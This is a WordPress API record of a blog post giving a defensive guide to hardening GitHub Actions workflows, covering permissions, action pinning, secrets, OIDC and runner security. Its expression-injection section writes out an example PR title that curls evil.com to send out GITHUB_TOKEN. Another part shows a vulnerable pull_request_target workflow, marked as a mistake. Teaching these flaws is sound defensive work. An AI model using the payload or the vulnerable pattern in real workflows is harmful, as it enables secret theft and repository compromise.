{"id":753,"date":"2026-03-24T08:51:51","date_gmt":"2026-03-24T07:51:51","guid":{"rendered":"https:\/\/secure-pipelines.com\/ci-cd-security\/github-actions-security-definitive-guide-2\/"},"modified":"2026-03-25T10:02:26","modified_gmt":"2026-03-25T09:02:26","slug":"github-actions-security-definitive-guide","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-definitive-guide\/","title":{"rendered":"\u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644"},"content":{"rendered":"\n<p>GitHub Actions has become the most widely adopted CI\/CD platform in the world. With over 90% of GitHub repositories capable of using it natively, it powers everything from simple linting checks to complex multi-cloud deployments. But that ubiquity makes it the single most targeted CI\/CD attack surface in modern software development.<\/p>\n\n<p>In 2024 and 2025, attackers compromised popular GitHub Actions (like <code>tj-actions\/changed-files<\/code> and <code>reviewdog<\/code>), injected malicious code into thousands of CI workflows, and exfiltrated secrets from organizations that assumed their pipelines were safe. Supply chain attacks on CI\/CD are no longer theoretical \u2014 they are routine.<\/p>\n\n<p>This guide is a comprehensive, hands-on reference for securing GitHub Actions from the ground up. Whether you are a DevOps engineer hardening production workflows, a security architect defining CI\/CD policy, or a developer who wants to stop shipping vulnerabilities through your pipeline, this post covers everything you need to know \u2014 with links to detailed labs and cheat sheets throughout.<\/p>\n\n<h2 class=\"wp-block-heading\">Understanding the GitHub Actions Security Model<\/h2>\n\n<p>Before you can secure GitHub Actions, you need to understand how its security model actually works. GitHub Actions operates on a trust model built around three pillars: <strong>authentication tokens<\/strong>, <strong>workflow triggers<\/strong>, and <strong>execution environments<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">The GITHUB_TOKEN<\/h3>\n\n<p>Every workflow run is automatically issued a <code>GITHUB_TOKEN<\/code> \u2014 a short-lived token scoped to the repository where the workflow runs. This token is the primary authentication mechanism for interacting with the GitHub API from within workflows. By default, the token has broad read\/write permissions across the repository, including the ability to push code, manage issues, and modify packages.<\/p>\n\n<p>The critical security insight: <strong>the default permissions of <code>GITHUB_TOKEN<\/code> are far too broad for most workflows<\/strong>. A workflow that only needs to post a comment on a PR should not have permission to push code. Yet without explicit configuration, it does.<\/p>\n\n<h3 class=\"wp-block-heading\">Workflow Triggers<\/h3>\n\n<p>GitHub Actions supports dozens of event triggers \u2014 <code>push<\/code>, <code>pull_request<\/code>, <code>pull_request_target<\/code>, <code>workflow_dispatch<\/code>, <code>schedule<\/code>, <code>issue_comment<\/code>, and more. Each trigger carries different security implications:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong><code>pull_request<\/code><\/strong> \u2014 Runs in the context of the fork&#8217;s code. The <code>GITHUB_TOKEN<\/code> is read-only. Secrets are not available from forks. This is the safest trigger for external contributions.<\/li>\n<li><strong><code>pull_request_target<\/code><\/strong> \u2014 Runs in the context of the <em>base<\/em> repository. The <code>GITHUB_TOKEN<\/code> has write access. Secrets are available. This is extremely dangerous if you check out the PR&#8217;s head code.<\/li>\n<li><strong><code>push<\/code><\/strong> \u2014 Runs on the pushed commit. Full access to secrets and write tokens. Safe for trusted branches only.<\/li>\n<li><strong><code>workflow_dispatch<\/code><\/strong> \u2014 Manual trigger. Useful for controlled deployments, but verify input parameters.<\/li>\n<li><strong><code>schedule<\/code><\/strong> \u2014 Runs on a cron schedule against the default branch. Has write access and secrets. Ensure that scheduled workflows are not modifiable by untrusted PRs.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Environments and Deployment Protection<\/h3>\n\n<p>GitHub Environments provide an additional security boundary. You can attach protection rules to environments \u2014 required reviewers, wait timers, branch restrictions, and deployment branch policies. Secrets can be scoped to specific environments, ensuring that production credentials are only available to workflows deploying to production.<\/p>\n\n<p>Environments are one of the most underused security features in GitHub Actions. If you are not using them, you are missing a critical control layer.<\/p>\n\n<h2 class=\"wp-block-heading\">Workflow Permissions: The Principle of Least Privilege<\/h2>\n\n<p>The single most impactful security improvement you can make to any GitHub Actions workflow is <strong>restricting the <code>GITHUB_TOKEN<\/code> permissions<\/strong>. GitHub allows you to set permissions at two levels: the entire workflow and individual jobs.<\/p>\n\n<h3 class=\"wp-block-heading\">Setting Default Permissions to Read-Only<\/h3>\n\n<p>At the organization or repository level, navigate to <strong>Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> and select <strong>&#8220;Read repository contents and packages permissions&#8221;<\/strong>. This ensures that every workflow starts with minimal permissions, and must explicitly request anything beyond read access.<\/p>\n\n<p>In your workflow files, always declare permissions explicitly at the top level:<\/p>\n\n<pre><code>permissions:\n  contents: read\n  pull-requests: write  # Only if needed\n<\/code><\/pre>\n\n<p>For jobs that require different permissions, declare them at the job level. Job-level permissions override workflow-level permissions for that specific job, providing even finer-grained control:<\/p>\n\n<pre><code>jobs:\n  build:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm build\n\n  deploy:\n    permissions:\n      contents: read\n      id-token: write  # For OIDC\n    runs-on: ubuntu-latest\n    steps:\n      - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\n<p>For a complete reference on which permissions are needed for common operations, see our <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/github-actions-security-cheat-sheet\/\">GitHub Actions Security Cheat Sheet<\/a>, which maps every common task to its minimal required permission set.<\/p>\n\n<h2 class=\"wp-block-heading\">Action Pinning: Defending Against Supply Chain Attacks<\/h2>\n\n<p>Every <code>uses:<\/code> directive in your workflow is a dependency \u2014 and like any dependency, it can be compromised. The <code>tj-actions\/changed-files<\/code> incident in early 2025 demonstrated exactly what happens when a popular action is hijacked: the attacker modified the action to exfiltrate <code>GITHUB_TOKEN<\/code> and other secrets from every repository that referenced it by tag.<\/p>\n\n<h3 class=\"wp-block-heading\">Why Tags and Branches Are Not Enough<\/h3>\n\n<p>When you reference an action like <code>actions\/checkout@v4<\/code>, you are trusting the action maintainer \u2014 and anyone who compromises their account \u2014 not to move or modify that tag. Tags in Git are mutable. An attacker who gains write access to a repository can point <code>v4<\/code> at any commit they choose.<\/p>\n\n<h3 class=\"wp-block-heading\">SHA Pinning<\/h3>\n\n<p>The solution is to pin actions to their full commit SHA:<\/p>\n\n<pre><code># Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\n<p>SHA-pinned references are immutable. Even if the action repository is compromised, the SHA points to the exact code you audited. The trailing comment ensures that humans can still identify the version at a glance, and tools like Dependabot can still propose updates.<\/p>\n\n<h3 class=\"wp-block-heading\">Automating Pin Updates with Dependabot<\/h3>\n\n<p>SHA pinning creates a maintenance burden \u2014 you need to update pins when new versions are released. Dependabot solves this. Add a <code>.github\/dependabot.yml<\/code> configuration:<\/p>\n\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n<\/code><\/pre>\n\n<p>Dependabot will automatically open PRs to update your SHA-pinned actions to the latest version, while maintaining the immutable SHA reference. This gives you the security of pinning with the convenience of automated updates.<\/p>\n\n<p>For a hands-on walkthrough of implementing action pinning, permissions hardening, and secrets best practices in a real workflow, complete our <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab: Hardening GitHub Actions Workflows \u2014 Permissions, Pinning, and Secrets<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Secrets Management<\/h2>\n\n<p>Secrets in GitHub Actions exist at three scopes: <strong>repository<\/strong>, <strong>environment<\/strong>, and <strong>organization<\/strong>. Understanding the differences and using the right scope is critical for security.<\/p>\n\n<h3 class=\"wp-block-heading\">Repository Secrets<\/h3>\n\n<p>Available to all workflows in a repository. Any workflow triggered by a push or pull_request (from the same repo) can access them. <strong>They are not available to workflows triggered by <code>pull_request<\/code> events from forks.<\/strong><\/p>\n\n<h3 class=\"wp-block-heading\">Environment Secrets<\/h3>\n\n<p>Scoped to a specific environment. Only jobs that reference that environment can access its secrets. Combined with environment protection rules (required reviewers, branch restrictions), environment secrets provide the strongest native secret protection in GitHub Actions.<\/p>\n\n<h3 class=\"wp-block-heading\">Organization Secrets<\/h3>\n\n<p>Shared across repositories. Can be restricted to specific repositories or made available to all. Useful for shared credentials like container registry tokens, but increase blast radius if compromised.<\/p>\n\n<h3 class=\"wp-block-heading\">Fork Safety and pull_request_target<\/h3>\n\n<p>The interaction between forks, secrets, and <code>pull_request_target<\/code> is one of the most dangerous areas in GitHub Actions security. Here is the key rule:<\/p>\n\n<p><strong>Never check out PR head code in a <code>pull_request_target<\/code> workflow and run it with access to secrets.<\/strong><\/p>\n\n<p>This pattern \u2014 sometimes called the &#8220;pwn request&#8221; \u2014 allows an attacker to submit a PR from a fork that modifies the build script, test suite, or any other executed code. Because <code>pull_request_target<\/code> runs with the base repo&#8217;s secrets and write token, the attacker&#8217;s code executes with full access to your credentials.<\/p>\n\n<pre><code># DANGEROUS - Never do this\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!\n      - run: npm test  # Runs attacker's code with your secrets\n<\/code><\/pre>\n\n<p>If you must use <code>pull_request_target<\/code>, only check out the base branch code, or use a two-workflow pattern where the first workflow (triggered by <code>pull_request<\/code>) produces artifacts, and the second (triggered by <code>workflow_run<\/code>) processes those artifacts with elevated permissions.<\/p>\n\n<h2 class=\"wp-block-heading\">OIDC and Workload Identity Federation<\/h2>\n\n<p>Long-lived credentials stored as GitHub secrets are a ticking time bomb. If a secret is exfiltrated \u2014 through a compromised action, a log leak, or a malicious PR \u2014 the attacker has persistent access until the credential is manually rotated. The solution is <strong>OIDC-based workload identity federation<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">How OIDC Works in GitHub Actions<\/h3>\n\n<p>GitHub Actions can issue OIDC tokens that assert the identity of a workflow run. These tokens contain claims about the repository, branch, environment, actor, and workflow. Cloud providers (AWS, GCP, Azure) can be configured to trust these tokens and exchange them for short-lived credentials.<\/p>\n\n<p>The flow works like this:<\/p>\n\n<ol class=\"wp-block-list\">\n<li>Your workflow requests an OIDC token from GitHub&#8217;s token endpoint (requires <code>id-token: write<\/code> permission).<\/li>\n<li>The token is sent to your cloud provider&#8217;s STS\/token exchange endpoint.<\/li>\n<li>The cloud provider validates the token signature against GitHub&#8217;s OIDC discovery document.<\/li>\n<li>If the token claims match your trust policy (correct repo, branch, environment), the provider issues short-lived credentials.<\/li>\n<li>Your workflow uses these temporary credentials \u2014 which expire automatically.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Example: AWS with OIDC<\/h3>\n\n<pre><code>permissions:\n  id-token: write\n  contents: read\n\nsteps:\n  - uses: aws-actions\/configure-aws-credentials@v4\n    with:\n      role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n      aws-region: us-east-1\n      # No access keys needed!\n<\/code><\/pre>\n\n<p>With OIDC, there are no static credentials to steal. Even if an attacker exfiltrates the OIDC token, it expires in minutes and is bound to specific claims that limit where it can be used.<\/p>\n\n<p>For a deep dive into the concepts behind workload identity federation, read our guide on <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/short-lived-credentials-workload-identity-federation-ci-cd\/\">Short-Lived Credentials and Workload Identity Federation for CI\/CD<\/a>. To implement it hands-on, follow our <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">Lab: Configuring OIDC Workload Identity for GitHub Actions and AWS<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Runner Security: Hosted vs. Self-Hosted<\/h2>\n\n<p>The runner is where your workflow code actually executes. The security properties of your runner directly determine the blast radius of any workflow compromise.<\/p>\n\n<h3 class=\"wp-block-heading\">GitHub-Hosted Runners<\/h3>\n\n<p>GitHub-hosted runners are ephemeral VMs that are provisioned fresh for each job and destroyed afterward. This provides strong isolation:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>No persistence between jobs \u2014 malware cannot survive across runs.<\/li>\n<li>No lateral movement to other workflows or repositories.<\/li>\n<li>Predictable, hardened base images maintained by GitHub.<\/li>\n<\/ul>\n\n<p>For most workflows, GitHub-hosted runners are the most secure option. The trade-off is limited customization and potentially higher costs for compute-intensive workloads.<\/p>\n\n<h3 class=\"wp-block-heading\">Self-Hosted Runners: Risks and Mitigations<\/h3>\n\n<p>Self-hosted runners run on your own infrastructure. They offer more control and can be cheaper at scale, but they introduce significant security risks:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Persistence<\/strong> \u2014 If a runner is not ephemeral, a compromised workflow can plant backdoors that affect future runs.<\/li>\n<li><strong>Shared state<\/strong> \u2014 Credentials, caches, and artifacts from previous jobs may be accessible.<\/li>\n<li><strong>Network access<\/strong> \u2014 Self-hosted runners often have access to internal networks, databases, and services that GitHub-hosted runners cannot reach.<\/li>\n<li><strong>Fork exploitation<\/strong> \u2014 If a public repo uses self-hosted runners and allows fork PRs, anyone can run arbitrary code on your infrastructure.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Ephemeral Runners with Actions Runner Controller (ARC)<\/h3>\n\n<p>The best approach for self-hosted runners is to make them <strong>ephemeral<\/strong>. Actions Runner Controller (ARC) runs on Kubernetes and provisions a fresh runner pod for each job. When the job completes, the pod is destroyed \u2014 just like a GitHub-hosted runner, but on your own infrastructure.<\/p>\n\n<p>Key ARC security practices:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Use Kubernetes-mode (containerMode) for maximum isolation.<\/li>\n<li>Set resource limits to prevent crypto-mining abuse.<\/li>\n<li>Use network policies to restrict egress from runner pods.<\/li>\n<li>Restrict runner groups to specific repositories.<\/li>\n<li>Never assign self-hosted runners to public repositories unless they are fully ephemeral.<\/li>\n<\/ul>\n\n<p>For a complete guide to runner security architecture, see <a href=\"https:\/\/secure-pipelines.com\/github-actions\/securing-github-actions-runners\/\">Securing GitHub Actions Runners<\/a>. To deploy ephemeral runners in practice, work through our <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">Lab: Ephemeral Self-Hosted Runners with Actions Runner Controller<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Third-Party Action Safety<\/h2>\n\n<p>Every third-party action you reference in a workflow is code that runs inside your CI\/CD pipeline with access to your source code, secrets, and deployment credentials. Treating third-party actions like any other software dependency is essential.<\/p>\n\n<h3 class=\"wp-block-heading\">Auditing Actions Before Use<\/h3>\n\n<p>Before adding any third-party action to your workflows:<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>Review the source code<\/strong> \u2014 Check what the action actually does. Look for network calls, secret access, and file modifications.<\/li>\n<li><strong>Check the maintainer<\/strong> \u2014 Is it a verified creator? Is the repository actively maintained? How quickly are security issues addressed?<\/li>\n<li><strong>Examine the permissions it requests<\/strong> \u2014 Does a &#8220;label PRs&#8221; action need <code>contents: write<\/code>? That is a red flag.<\/li>\n<li><strong>Look for published security policies<\/strong> \u2014 Does the action repository have a SECURITY.md? Are there vulnerability disclosure processes?<\/li>\n<li><strong>Pin to SHA<\/strong> \u2014 Always pin, even after auditing. The code can change after your review.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Implementing Action Allowlists<\/h3>\n\n<p>At the organization level, GitHub allows you to restrict which actions can be used. Navigate to <strong>Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> and configure an allowlist. Options include:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Allow only actions created by GitHub.<\/li>\n<li>Allow actions from verified creators plus a specific allowlist.<\/li>\n<li>Allow only specific actions by full reference.<\/li>\n<\/ul>\n\n<p>For enterprises, the allowlist is a critical control. It prevents developers from casually adding unvetted actions to workflows and provides a centralized approval process for new action dependencies.<\/p>\n\n<p>To practice detecting malicious behavior in GitHub Actions using static analysis techniques, complete our <a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">Lab: Detecting Malicious GitHub Actions with Static Analysis<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Expression Injection<\/h2>\n\n<p>Expression injection is one of the most common and most dangerous vulnerabilities in GitHub Actions workflows. It occurs when untrusted input is interpolated directly into a workflow expression using the <code>${{ }}<\/code> syntax.<\/p>\n\n<h3 class=\"wp-block-heading\">How Expression Injection Works<\/h3>\n\n<p>GitHub Actions expressions are evaluated <em>before<\/em> the shell sees them. When you write:<\/p>\n\n<pre><code>- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n<p>The expression is replaced with the literal PR title before the shell command is constructed. If an attacker creates a PR with the title:<\/p>\n\n<pre><code>\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\n<p>The resulting shell command becomes:<\/p>\n\n<pre><code>echo \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\n<p>The attacker has injected arbitrary shell commands into your workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">Vulnerable Contexts<\/h3>\n\n<p>The following GitHub context values are attacker-controlled and should <strong>never<\/strong> be used directly in <code>run:<\/code> blocks:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (branch name \u2014 attacker-controlled in forks)<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">The Fix: Environment Variables<\/h3>\n\n<p>Instead of interpolating expressions into <code>run:<\/code> blocks, pass them through environment variables:<\/p>\n\n<pre><code># Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\n<p>When the value is passed through an environment variable, the shell treats it as a string literal, not as code to execute. This completely prevents injection.<\/p>\n\n<h2 class=\"wp-block-heading\">Supply Chain Security: Signing and Provenance<\/h2>\n\n<p>Securing your CI\/CD pipeline is not just about protecting the pipeline itself \u2014 it is about ensuring that the artifacts your pipeline produces are trustworthy. Supply chain security for GitHub Actions encompasses artifact signing, provenance attestation, and verification.<\/p>\n\n<h3 class=\"wp-block-heading\">Artifact Signing with Cosign and Sigstore<\/h3>\n\n<p>Cosign, part of the Sigstore project, enables keyless signing of container images and other artifacts using OIDC identities. In GitHub Actions, this means your workflow&#8217;s identity (repository, branch, workflow) becomes the signing identity \u2014 no static signing keys to manage or protect.<\/p>\n\n<pre><code>steps:\n  - uses: sigstore\/cosign-installer@v3\n  - run: cosign sign --yes ${{ env.IMAGE_REF }}\n    env:\n      COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\n<p>The resulting signature is stored in a transparency log (Rekor), providing an auditable record that a specific workflow in a specific repository produced a specific artifact.<\/p>\n\n<h3 class=\"wp-block-heading\">SLSA Provenance<\/h3>\n\n<p>SLSA (Supply-chain Levels for Software Artifacts) provides a framework for ensuring build integrity. GitHub&#8217;s official <code>actions\/attest-build-provenance<\/code> action generates SLSA provenance attestations that record exactly how an artifact was built \u2014 the source repo, commit, builder, and build instructions.<\/p>\n\n<p>SLSA provenance answers the question: &#8220;Can I prove this artifact was built from this source code by this CI\/CD system?&#8221; For any organization serious about supply chain security, provenance attestation should be part of every release workflow.<\/p>\n\n<p>To get hands-on experience with container signing using Cosign in a CI\/CD pipeline, see our Cosign signing lab. For implementing SLSA provenance generation and verification, work through our SLSA provenance lab.<\/p>\n\n<h2 class=\"wp-block-heading\">Common Misconfigurations: Top 5<\/h2>\n\n<p>After auditing hundreds of GitHub Actions workflows, these are the five most common security misconfigurations we encounter:<\/p>\n\n<h3 class=\"wp-block-heading\">1. Missing Permissions Block<\/h3>\n\n<p>Workflows without an explicit <code>permissions:<\/code> block inherit the repository&#8217;s default token permissions \u2014 which is usually read\/write for everything. This violates least privilege and maximizes the blast radius of any compromise.<\/p>\n\n<p><strong>Fix:<\/strong> Add a top-level <code>permissions: read-all<\/code> or granular permissions block to every workflow file.<\/p>\n\n<h3 class=\"wp-block-heading\">2. Unpinned Third-Party Actions<\/h3>\n\n<p>Using tag references like <code>@v4<\/code> or <code>@main<\/code> for third-party actions exposes you to supply chain attacks. If the action&#8217;s repository is compromised, attackers can push malicious code under the existing tag.<\/p>\n\n<p><strong>Fix:<\/strong> Pin all third-party actions to full commit SHAs. Use Dependabot to manage updates.<\/p>\n\n<h3 class=\"wp-block-heading\">3. Expression Injection in run: Blocks<\/h3>\n\n<p>Directly interpolating attacker-controlled context values (PR titles, issue bodies, branch names) into <code>run:<\/code> steps enables arbitrary command execution.<\/p>\n\n<p><strong>Fix:<\/strong> Always pass untrusted context values through environment variables.<\/p>\n\n<h3 class=\"wp-block-heading\">4. Unsafe pull_request_target Usage<\/h3>\n\n<p>Checking out and executing code from a PR head in a <code>pull_request_target<\/code> workflow grants the attacker access to repository secrets and write permissions.<\/p>\n\n<p><strong>Fix:<\/strong> Never check out <code>github.event.pull_request.head.sha<\/code> in <code>pull_request_target<\/code> workflows. Use the two-workflow pattern instead.<\/p>\n\n<h3 class=\"wp-block-heading\">5. Long-Lived Cloud Credentials as Secrets<\/h3>\n\n<p>Storing AWS access keys, GCP service account JSON, or Azure client secrets as repository or organization secrets creates persistent credential exposure. If these secrets are leaked, the attacker has long-term access to your cloud resources.<\/p>\n\n<p><strong>Fix:<\/strong> Replace static credentials with OIDC workload identity federation. No secrets to steal means no credential exposure.<\/p>\n\n<h2 class=\"wp-block-heading\">Implementation Checklist<\/h2>\n\n<p>Use this checklist to systematically harden your GitHub Actions workflows. Each item maps to a section in this guide:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Permissions:<\/strong> Set organization\/repo default token permissions to read-only.<\/li>\n<li><strong>Permissions:<\/strong> Add explicit <code>permissions:<\/code> blocks to every workflow and job.<\/li>\n<li><strong>Pinning:<\/strong> Pin all third-party actions to full commit SHAs.<\/li>\n<li><strong>Pinning:<\/strong> Configure Dependabot for <code>github-actions<\/code> ecosystem.<\/li>\n<li><strong>Secrets:<\/strong> Migrate from repository secrets to environment secrets with protection rules.<\/li>\n<li><strong>Secrets:<\/strong> Audit all <code>pull_request_target<\/code> workflows for unsafe checkout patterns.<\/li>\n<li><strong>OIDC:<\/strong> Replace static cloud credentials with OIDC workload identity federation.<\/li>\n<li><strong>OIDC:<\/strong> Configure subject claim filters to restrict token scope (repo, branch, environment).<\/li>\n<li><strong>Runners:<\/strong> Ensure self-hosted runners are ephemeral (use ARC or similar).<\/li>\n<li><strong>Runners:<\/strong> Never assign self-hosted runners to public repositories.<\/li>\n<li><strong>Actions:<\/strong> Implement an organizational action allowlist.<\/li>\n<li><strong>Actions:<\/strong> Audit all third-party actions before approving them.<\/li>\n<li><strong>Injection:<\/strong> Grep all workflows for <code>${{<\/code> in <code>run:<\/code> blocks and remediate injection vectors.<\/li>\n<li><strong>Supply Chain:<\/strong> Implement artifact signing with Cosign\/Sigstore.<\/li>\n<li><strong>Supply Chain:<\/strong> Generate SLSA provenance for release artifacts.<\/li>\n<li><strong>Linting:<\/strong> Add <code>actionlint<\/code> and <code>zizmor<\/code> to your CI pipeline to catch issues automatically.<\/li>\n<li><strong>Environments:<\/strong> Use GitHub Environments with required reviewers for production deployments.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Related Labs<\/h2>\n\n<p>Theory only takes you so far. Apply what you have learned in these hands-on labs:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab: Hardening GitHub Actions Workflows \u2014 Permissions, Pinning, and Secrets<\/a> \u2014 Implement least-privilege permissions, SHA pinning, and secure secrets handling in a real workflow.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">Lab: Configuring OIDC Workload Identity for GitHub Actions and AWS<\/a> \u2014 Set up keyless authentication between GitHub Actions and AWS using OIDC federation.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">Lab: Ephemeral Self-Hosted Runners with Actions Runner Controller<\/a> \u2014 Deploy ARC on Kubernetes to run secure, ephemeral CI\/CD runners.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">Lab: Detecting Malicious GitHub Actions with Static Analysis<\/a> \u2014 Use static analysis tools to identify suspicious patterns and malicious behavior in third-party actions.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ci-cd-security\/github-actions-security-cheat-sheet\/\">GitHub Actions Security Cheat Sheet<\/a> \u2014 Quick reference for minimal permissions, safe patterns, and common pitfalls.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Tools for GitHub Actions Security<\/h2>\n\n<p>Automate security enforcement with these essential tools:<\/p>\n\n<h3 class=\"wp-block-heading\">actionlint<\/h3>\n\n<p><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> is a static analysis tool for GitHub Actions workflow files. It catches syntax errors, type mismatches, invalid shell commands, and security issues like expression injection. Run it locally and in CI to catch problems before they reach production:<\/p>\n\n<pre><code># Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\n<h3 class=\"wp-block-heading\">zizmor<\/h3>\n\n<p><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> is a dedicated GitHub Actions security linter. Unlike general-purpose linters, zizmor focuses specifically on security issues: expression injection, unpinned actions, overly broad permissions, dangerous triggers, and more. It produces actionable findings with severity ratings and remediation guidance:<\/p>\n\n<pre><code># Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\n<p>Both tools should be part of your CI pipeline. Run them on every PR that modifies workflow files. Combined, they catch the vast majority of common GitHub Actions security issues before they are merged.<\/p>\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n<p>GitHub Actions security is not a single configuration toggle \u2014 it is a layered defense that spans permissions, dependencies, secrets, identity, infrastructure, and supply chain integrity. The attacks against CI\/CD pipelines are increasing in frequency and sophistication, and the organizations that treat pipeline security as an afterthought will be the ones making breach disclosures.<\/p>\n\n<p>The good news is that every mitigation in this guide is actionable today. You can set permissions to read-only in five minutes. You can enable Dependabot for action pinning in one commit. You can migrate from static credentials to OIDC in an afternoon. And you can deploy ephemeral runners before the end of the week.<\/p>\n\n<p>Start with the implementation checklist above. Work through the labs. Run actionlint and zizmor on your existing workflows and fix what they find. Every hardening step you take raises the cost for attackers and lowers your risk.<\/p>\n\n<p>Your CI\/CD pipeline is a production system. Secure it like one.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>GitHub Actions has become the most widely adopted CI\/CD platform in the world. With over 90% of GitHub repositories capable of using it natively, it powers everything from simple linting checks to complex multi-cloud deployments. But that ubiquity makes it the single most targeted CI\/CD attack surface in modern software development. In 2024 and 2025, &#8230; <a title=\"\u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-definitive-guide\/\" aria-label=\"Read more about \u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644\">\u0627\u0642\u0631\u0623 \u0627\u0644\u0645\u0632\u064a\u062f<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,29],"tags":[],"post_folder":[],"class_list":["post-753","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/comments?post=753"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions"}],"predecessor-version":[{"id":773,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions\/773"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media?parent=753"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/categories?